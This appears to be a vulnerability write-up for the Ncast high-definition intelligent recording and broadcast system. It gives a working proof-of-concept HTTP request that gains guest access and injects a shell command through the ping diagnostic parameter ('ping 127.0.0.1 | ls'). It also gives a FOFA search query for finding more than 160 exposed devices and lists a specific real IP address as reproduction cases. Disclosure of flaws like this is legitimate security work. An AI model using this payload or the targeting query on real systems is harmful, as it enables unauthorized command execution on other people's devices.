# introduce

​	The Ncast Yingshi high-definition intelligent recording and playback system is an advanced audio and video recording Q and playback solution from Guangzhou Yingshi Electronic Technology Co., Ltd., aimed at providing high-quality, high-definition customized recording experiences. The system adopts advanced camera and audio technology, combined with a powerful software platform, to achieve high-definition video recording, multi-channel audio acquisition, real-time switching and mixing, customized video analysis and other functions.

# Vulnerability description

​	The high-definition intelligent recording and broadcasting system of Guangzhou Yingshi Electronic Technology Co., Ltd. can access the/manage/IPSetup.php backend function module without authorization as a visitor, and attackers can take advantage of it
Vulnerability checking of backend configuration information leads to information leakage. The use of network diagnostic function modules can enable unauthorized remote command execution, resulting in server collapse and being charged.

# Principle of Vulnerability

​	Login through the tourist button in the bottom left corner

![image-20240325230430373](./pic/image-20240325230430373.png)

POC:

`POST /classes/common/busiFacade.php HTTP/1.1
Host: 125.89.153.222:8088
Content-Length: 144
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://125.89.153.222:8088
Referer: http://125.89.153.222:8088/manage/IPSetup.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=6987e782f6f3af8aa48e3df214b99add
Connection: close

%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20ls%22%5D%7D`

![image-20240325231910511](./pic/image-20240325231910511.png)

# Case reproduction

​	FOFA:  app="Ncast-产品" && title=="高清智能录播系统"

​	You use some spatial surveying tools for asset collection.There are over 160IP assets here image

![image-20240325230206264](./pic/image-20240325230206264.png)



​	CASE ONE:http://125.89.153.222:8088/manage/IPSetup.php

![image-20240325231728467](./pic/image-20240325231728467.png)

​	CASE TWO:http://125.89.153.222:8088/manage/IPSetup.php

![image-20240325231947566](./pic/image-20240325231947566.png)

# The affected version

​	version：2007-2017